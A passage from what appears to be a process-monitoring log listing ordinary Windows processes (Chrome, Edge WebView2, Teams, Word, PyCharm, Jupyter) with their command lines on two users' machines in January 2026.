  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=gpu-process --noerrdialogs --user-data-dir=C:\Users\milad\AppData\Local\Packages\5319275A.WhatsAppDesktop_cv1g1gvanyjgm\LocalCache\EBWebView --webview-exe-name=WhatsApp.Root.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --no-pre-read-main-dll --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --startup-read-main-dll --metrics-shmem-handle=1728,i,1058517502651539365,8413863450317859142,262144 --field-trial-handle=1880,i,5272341228260443182,12246134961819833155,262144 --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1892 /prefetch:2 /pfhostedapp:e8f4e4afe9b7050da7c393b06301ca9c6059fb19


name: chrome.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-GB --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=283 --time-ticks-at-unix-epoch=-1768651710032407 --launch-time-ticks=457302035134 --metrics-shmem-handle=12872,i,5977863963403967269,3962648139567706115,2097152 --field-trial-handle=1996,i,4970050918722702440,18139548634002577110,262144 --variations-seed-version=20260118-030036.422000 --trace-process-track-uuid=3190709251494714761 --mojo-platform-channel-handle=15860 /prefetch:1


name: chrome.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-GB --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=265 --time-ticks-at-unix-epoch=-1768651710032407 --launch-time-ticks=456445895776 --metrics-shmem-handle=15592,i,7500342747573685507,5327940086868913467,2097152 --field-trial-handle=1996,i,4970050918722702440,18139548634002577110,262144 --variations-seed-version=20260118-030036.422000 --trace-process-track-uuid=3190709234627961479 --mojo-platform-channel-handle=13724 /prefetch:1


name: msedgewebview2.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=renderer --noerrdialogs --user-data-dir=C:\Users\milad\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView --webview-exe-name=ms-teams.exe --webview-exe-version=26005.204.4249.1621 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-pre-read-main-dll --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --enable-precise-memory-info --enable-blink-features=IndexedDbGetAllRecords --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --js-flags=--scavenger_max_new_space_capacity_mb=32 --stack-trace-limit=50 --expose-gc --ms-user-locale=en-US --time-ticks-at-unix-epoch=-1768651713959211 --launch-time-ticks=457318569867 --ssd-no-pressure-read-main-dll --metrics-shmem-handle=4312,i,1160457485163171517,18272677053480222605,2097152 --field-trial-handle=1824,i,5611691470619318552,11774421085586259823,262144 --enable-features=AutofillReplaceCachedWebElementsByRendererIds,DocumentPolicyIncludeJSCallStacksInCrashReports,PartitionedCookies,PreferredAudioOutputDevices,SharedArrayBuffer,ThirdPartyStoragePartitioning,msAbydos,msAbydosGestureSupport,msAbydosHandwritingAttr,msSingleSignOnOSForPrimaryAccountIsShared,msWebView2EnableDraggableRegions,msWebView2SetUserAgentOverrideOnIframes,msWebView2TerminateServiceWorkerWhenIdleIgnoringCdpSessions,msWebView2TextureStream --disable-features=BlockCrossPartitionBlobUrlFetching,BreakoutBoxPreferCaptureTimestampInVideoFrames,msEnhancedTrackingPreventionEnabled,msWebOOUI --variations-seed-version --trace-process-track-uuid=3190709011612001417 --mojo-platform-channel-handle=6232 /pfhostedapp:ac017e4cdc34db76e3c857b2a145f76ed6fa99ab /prefetch:1


name: WINWORD.EXE
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE /n C:\Users\milad\OneDrive\Desktop\РЕПРОДУКТИВЕН СИСТЕМ.docx


name: chrome.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-GB --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=258 --time-ticks-at-unix-epoch=-1768651710032407 --launch-time-ticks=456424518220 --metrics-shmem-handle=8576,i,9984624336320931416,8651793081303465431,2097152 --field-trial-handle=1996,i,4970050918722702440,18139548634002577110,262144 --variations-seed-version=20260118-030036.422000 --trace-process-track-uuid=3190709228068668536 --mojo-platform-channel-handle=15564 /prefetch:1


name: RtkAudUService64.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Windows\System32\DriverStore\FileRepository\realtekservice.inf_amd64_9366beb5d0043df3\RtkAudUService64.exe -background


name: chrome.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-GB --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=282 --time-ticks-at-unix-epoch=-1768651710032407 --launch-time-ticks=457264454377 --metrics-shmem-handle=11716,i,3764211379644963344,3557461141054520927,2097152 --field-trial-handle=1996,i,4970050918722702440,18139548634002577110,262144 --variations-seed-version=20260118-030036.422000 --trace-process-track-uuid=3190709250557672912 --mojo-platform-channel-handle=15952 /prefetch:1


name: PhoneExperienceHost.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files\WindowsApps\Microsoft.YourPhone_1.25112.36.0_x64__8wekyb3d8bbwe\PhoneExperienceHost.exe -ComServer:Background -Embedding


name: ms-teams.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Users\milad\AppData\Local\Microsoft\WindowsApps\MSTeams_8wekyb3d8bbwe\ms-teams.exe msteams:system-initiated


name: msedgewebview2.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --embedded-browser-webview=1 --webview-exe-name=ms-teams.exe --webview-exe-version=26005.204.4249.1621 --user-data-dir=C:\Users\milad\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --disable-features=msEnhancedTrackingPreventionEnabled,BreakoutBoxPreferCaptureTimestampInVideoFrames,BlockCrossPartitionBlobUrlFetching,msWebOOUI --enable-blink-features=IndexedDbGetAllRecords --enable-features=msSingleSignOnOSForPrimaryAccountIsShared,SharedArrayBuffer,AutofillReplaceCachedWebElementsByRendererIds,msWebView2TerminateServiceWorkerWhenIdleIgnoringCdpSessions,msWebView2SetUserAgentOverrideOnIframes,PreferredAudioOutputDevices,DocumentPolicyIncludeJSCallStacksInCrashReports,RendererHangWatcher:delay/13s,UnresponsiveMultipleStackCollection:delay/0.1s/count/5,PartitionedCookies,ThirdPartyStoragePartitioning,msWebView2TextureStream,msWebView2EnableDraggableRegions,msAbydos,msAbydosHandwritingAttr,msAbydosGestureSupport --enable-precise-memory-info --gpu-watchdog-timeout-seconds=60 --isolate-origins=https://[*.]microsoft.com,https://[*.]sharepoint.com,https://[*.]sharepointonline.com,https://mesh-hearts-teams.azurewebsites.net,https://[*.]meshxp.net,https://res-sdf.cdn.office.net,https://res.cdn.office.net,https://copilot.teams.cloud.microsoft,https://local.copilot.teams.office.com --js-flags=--scavenger_max_new_space_capacity_mb=32 --stack-trace-limit=50 --lang=en-US --mojo-named-platform-channel-pipe=12528.12964.1963957217919898644 /pfhostedapp:ac017e4cdc34db76e3c857b2a145f76ed6fa99ab


name: msedgewebview2.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=crashpad-handler --user-data-dir=C:\Users\milad\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView /prefetch:4 /pfhostedapp:ac017e4cdc34db76e3c857b2a145f76ed6fa99ab --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\milad\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=143.0.7499.193 --annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --annotation=plat=Win64 --annotation=prod=Edge WebView2 --annotation=ver=143.0.3650.139 --initial-client-data=0x174,0x178,0x17c,0x150,0x184,0x7ff89a6e62b8,0x7ff89a6e62c4,0x7ff89a6e62d0


name: msedgewebview2.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=gpu-process --gpu-watchdog-timeout-seconds=60 --noerrdialogs --user-data-dir=C:\Users\milad\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView --webview-exe-name=ms-teams.exe --webview-exe-version=26005.204.4249.1621 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-pre-read-main-dll --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --startup-read-main-dll --metrics-shmem-handle=1688,i,10107874535187209043,15773597999722450567,262144 --field-trial-handle=1824,i,5611691470619318552,11774421085586259823,262144 --enable-features=AutofillReplaceCachedWebElementsByRendererIds,DocumentPolicyIncludeJSCallStacksInCrashReports,PartitionedCookies,PreferredAudioOutputDevices,SharedArrayBuffer,ThirdPartyStoragePartitioning,msAbydos,msAbydosGestureSupport,msAbydosHandwritingAttr,msSingleSignOnOSForPrimaryAccountIsShared,msWebView2EnableDraggableRegions,msWebView2SetUserAgentOverrideOnIframes,msWebView2TerminateServiceWorkerWhenIdleIgnoringCdpSessions,msWebView2TextureStream --disable-features=BlockCrossPartitionBlobUrlFetching,BreakoutBoxPreferCaptureTimestampInVideoFrames,msEnhancedTrackingPreventionEnabled,msWebOOUI --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1816 /prefetch:2 /pfhostedapp:ac017e4cdc34db76e3c857b2a145f76ed6fa99ab


name: msedgewebview2.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir=C:\Users\milad\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView --webview-exe-name=ms-teams.exe --webview-exe-version=26005.204.4249.1621 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-pre-read-main-dll --startup-read-main-dll --metrics-shmem-handle=2024,i,13940277245925395841,15412701413363792775,524288 --field-trial-handle=1824,i,5611691470619318552,11774421085586259823,262144 --enable-features=AutofillReplaceCachedWebElementsByRendererIds,DocumentPolicyIncludeJSCallStacksInCrashReports,PartitionedCookies,PreferredAudioOutputDevices,SharedArrayBuffer,ThirdPartyStoragePartitioning,msAbydos,msAbydosGestureSupport,msAbydosHandwritingAttr,msSingleSignOnOSForPrimaryAccountIsShared,msWebView2EnableDraggableRegions,msWebView2SetUserAgentOverrideOnIframes,msWebView2TerminateServiceWorkerWhenIdleIgnoringCdpSessions,msWebView2TextureStream --disable-features=BlockCrossPartitionBlobUrlFetching,BreakoutBoxPreferCaptureTimestampInVideoFrames,msEnhancedTrackingPreventionEnabled,msWebOOUI --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2016 /prefetch:11 /pfhostedapp:ac017e4cdc34db76e3c857b2a145f76ed6fa99ab


name: msedgewebview2.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir=C:\Users\milad\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView --webview-exe-name=ms-teams.exe --webview-exe-version=26005.204.4249.1621 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-pre-read-main-dll --startup-read-main-dll --metrics-shmem-handle=2252,i,1982990016684453834,12369761252645938211,524288 --field-trial-handle=1824,i,5611691470619318552,11774421085586259823,262144 --enable-features=AutofillReplaceCachedWebElementsByRendererIds,DocumentPolicyIncludeJSCallStacksInCrashReports,PartitionedCookies,PreferredAudioOutputDevices,SharedArrayBuffer,ThirdPartyStoragePartitioning,msAbydos,msAbydosGestureSupport,msAbydosHandwritingAttr,msSingleSignOnOSForPrimaryAccountIsShared,msWebView2EnableDraggableRegions,msWebView2SetUserAgentOverrideOnIframes,msWebView2TerminateServiceWorkerWhenIdleIgnoringCdpSessions,msWebView2TextureStream --disable-features=BlockCrossPartitionBlobUrlFetching,BreakoutBoxPreferCaptureTimestampInVideoFrames,msEnhancedTrackingPreventionEnabled,msWebOOUI --variations-seed-version --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2228 /prefetch:13 /pfhostedapp:ac017e4cdc34db76e3c857b2a145f76ed6fa99ab


name: msedgewebview2.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=renderer --noerrdialogs --user-data-dir=C:\Users\milad\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView --webview-exe-name=ms-teams.exe --webview-exe-version=26005.204.4249.1621 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-pre-read-main-dll --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --enable-precise-memory-info --enable-blink-features=IndexedDbGetAllRecords --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --js-flags=--scavenger_max_new_space_capacity_mb=32 --stack-trace-limit=50 --expose-gc --ms-user-locale=en-US --time-ticks-at-unix-epoch=-1768651713959211 --launch-time-ticks=39067119 --skip-read-main-dll --metrics-shmem-handle=4380,i,10606721620151273909,13554820194886356384,2097152 --field-trial-handle=1824,i,5611691470619318552,11774421085586259823,262144 --enable-features=AutofillReplaceCachedWebElementsByRendererIds,DocumentPolicyIncludeJSCallStacksInCrashReports,PartitionedCookies,PreferredAudioOutputDevices,SharedArrayBuffer,ThirdPartyStoragePartitioning,msAbydos,msAbydosGestureSupport,msAbydosHandwritingAttr,msSingleSignOnOSForPrimaryAccountIsShared,msWebView2EnableDraggableRegions,msWebView2SetUserAgentOverrideOnIframes,msWebView2TerminateServiceWorkerWhenIdleIgnoringCdpSessions,msWebView2TextureStream --disable-features=BlockCrossPartitionBlobUrlFetching,BreakoutBoxPreferCaptureTimestampInVideoFrames,msEnhancedTrackingPreventionEnabled,msWebOOUI --variations-seed-version --trace-process-track-uuid=3190708991934122588 --mojo-platform-channel-handle=4436 /pfhostedapp:ac017e4cdc34db76e3c857b2a145f76ed6fa99ab /prefetch:1


name: chrome.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-GB --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=256 --time-ticks-at-unix-epoch=-1768651710032407 --launch-time-ticks=456421615359 --metrics-shmem-handle=10064,i,5777946912700619943,15412524874107694423,2097152 --field-trial-handle=1996,i,4970050918722702440,18139548634002577110,262144 --variations-seed-version=20260118-030036.422000 --trace-process-track-uuid=3190709226194584838 --mojo-platform-channel-handle=16360 /prefetch:1


name: ms-teams.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files\WindowsApps\MSTeams_26005.204.4249.1621_x64__8wekyb3d8bbwe\ms-teams.exe --process_type=native_module --cloud_type=tfw --module_name=SlimCore --native_msg_channel=fde99f0c-372d-4e97-91f9-8acb403a51bb_nm_SlimCore_c --session_id=93f01e9f-34ed-4913-9ac5-ac4b87d96a9b    /prefetch:1


name: SearchHost.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe -ServerName:CortanaUIFullTrustApp.AppXqe55xpfenh3k6gvsbjaqb6bkfgy5pkbf.mca


name: ai.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exe 42DDB497-7A22-4D55-A9DA-F551F8E18028 D3CF1A1A-610C-42FB-99E3-8D1360FBB559 11884 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE WordCombinedFloatieLreOnline.onnx


name: msedgewebview2.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=gpu-process --noerrdialogs --user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7171) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 143.0.3650.139) --user-data-dir=C:\Users\milad\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView --webview-exe-name=SearchHost.exe --webview-exe-version=2125.27506.20.0 --embedded-browser-webview=1 --no-pre-read-main-dll --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --startup-read-main-dll --metrics-shmem-handle=1668,i,18255029061385578515,261684520742708525,262144 --field-trial-handle=1812,i,12379866479816053092,17372490871464220070,262144 --enable-features=msEdgeFluentOverlayScrollbar --disable-features=msSmartScreenProtection --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1800 /prefetch:2 /pfhostedapp:fb7dfc4084e3457bc66d0e6ed5b7b87a34a04697


name: msedge.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --type=renderer --instant-process --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --time-ticks-at-unix-epoch=-1768651710032406 --launch-time-ticks=275657715803 --skip-read-main-dll --metrics-shmem-handle=8532,i,4411987094503316011,16592164838030624015,2097152 --field-trial-handle=2252,i,3615274285255924057,6131553952707020552,262144 --variations-seed-version --trace-process-track-uuid=3190709003178624776 --mojo-platform-channel-handle=8592 /prefetch:1


name: OpenConsole.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.13503.0_x64__8wekyb3d8bbwe\OpenConsole.exe -Embedding


name: chrome.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-pre-read-main-dll --metrics-shmem-handle=2268,i,18122151175468127882,8749391383737454805,524288 --field-trial-handle=1996,i,4970050918722702440,18139548634002577110,262144 --variations-seed-version=20260118-030036.422000 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2264 /prefetch:11


name: msedge.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --type=renderer --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --time-ticks-at-unix-epoch=-1768651710032406 --launch-time-ticks=353285721004 --ssd-no-pressure-read-main-dll --metrics-shmem-handle=8792,i,3990580382943416934,8221445930760037469,2097152 --field-trial-handle=2252,i,3615274285255924057,6131553952707020552,262144 --variations-seed-version --trace-process-track-uuid=3190709012549043266 --mojo-platform-channel-handle=8948 /prefetch:1


name: msedgewebview2.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir=C:\Users\milad\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --embedded-browser-webview=1 --no-pre-read-main-dll --startup-read-main-dll --metrics-shmem-handle=2476,i,3084299840871236285,11074883799144267709,524288 --field-trial-handle=1908,i,5869944271052099770,5367897988834626600,262144 --variations-seed-version --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2496 /prefetch:13 /pfhostedapp:c8cd49ec972f0ae143ea2dae917ec4adda9b47b2


name: msedgewebview2.exe
username: IRENA\milad
timestamp: 2026-01-22T20:12:04.769329
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir=C:\Users\milad\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=9428.16140.14585943914592820214 /pfhostedapp:c8cd49ec972f0ae143ea2dae917ec4adda9b47b2


name: msedge.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --type=renderer --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --time-ticks-at-unix-epoch=-1768367243860629 --launch-time-ticks=739332239485 --skip-read-main-dll --metrics-shmem-handle=3860,i,11550983298833804213,5928514243877357815,2097152 --field-trial-handle=2304,i,8826279809462224588,14438565125565067693,262144 --variations-seed-version --trace-process-track-uuid=3190708994745248135 --mojo-platform-channel-handle=4900 /prefetch:1


name: python.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Users\Ilina\anaconda3\python.exe C:\Users\Ilina\anaconda3\Scripts\jupyter-notebook-script.py C:\Users\Ilina


name: SystemSettings.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Windows\ImmersiveControlPanel\SystemSettings.exe -ServerName:microsoft.windows.immersivecontrolpanel


name: pycharm64.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files\JetBrains\PyCharm 2024.3.3\bin\pycharm64.exe --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --locales-dir-path=C:\Program Files\JetBrains\PyCharm 2024.3.3\jbr/lib/locales --log-severity=disable --resources-dir-path=C:\Program Files\JetBrains\PyCharm 2024.3.3\jbr/lib --lang=en-US --user-data-dir=C:\Users\Ilina\AppData\Local\JetBrains\PyCharm2024.3\jcef_cache --log-file=C:\Users\Ilina\jcef_19604.log --mojo-platform-channel-handle=8500 --field-trial-handle=1412,i,4479383474527689969,13255398534191963355,262144 --disable-features=SpareRendererForSitePerProcess --variations-seed-version /prefetch:3


name: msedge.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --type=renderer --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --time-ticks-at-unix-epoch=-1768367243860629 --launch-time-ticks=744395909156 --skip-read-main-dll --metrics-shmem-handle=7256,i,239864550023294661,3130099596088617656,2097152 --field-trial-handle=2304,i,8826279809462224588,14438565125565067693,262144 --variations-seed-version --trace-process-track-uuid=3190709009737917719 --mojo-platform-channel-handle=7204 /prefetch:1


name: msedgewebview2.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir=C:\Users\Ilina\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --embedded-browser-webview=1 --no-pre-read-main-dll --startup-read-main-dll --metrics-shmem-handle=2520,i,11570083868325638701,4373207065889791420,524288 --field-trial-handle=1900,i,2382477317839548085,11020950535975104632,262144 --variations-seed-version --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2536 /prefetch:13 /pfhostedapp:d8798c21d99877465aca35d796995b6b3d2d6b0e


name: pycharm64.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files\JetBrains\PyCharm 2024.3.3\bin\pycharm64.exe --type=gpu-process --locales-dir-path=C:\Program Files\JetBrains\PyCharm 2024.3.3\jbr/lib/locales --log-severity=disable --resources-dir-path=C:\Program Files\JetBrains\PyCharm 2024.3.3\jbr/lib --lang=en-US --user-data-dir=C:\Users\Ilina\AppData\Local\JetBrains\PyCharm2024.3\jcef_cache --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --log-file=C:\Users\Ilina\jcef_19604.log --mojo-platform-channel-handle=7376 --field-trial-handle=1412,i,4479383474527689969,13255398534191963355,262144 --disable-features=SpareRendererForSitePerProcess --variations-seed-version /prefetch:2


name: msedgewebview2.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=renderer --noerrdialogs --user-data-dir=C:\Users\Ilina\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView --webview-exe-name=ms-teams.exe --webview-exe-version=25332.1210.4188.1171 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-pre-read-main-dll --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --enable-blink-features=IndexedDbGetAllRecords --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --js-flags=--stack-trace-limit=50 --expose-gc --ms-user-locale=en-US --time-ticks-at-unix-epoch=-1768367286322814 --launch-time-ticks=28366090247 --skip-read-main-dll --metrics-shmem-handle=4464,i,8184472534912341130,1515410861057774267,2097152 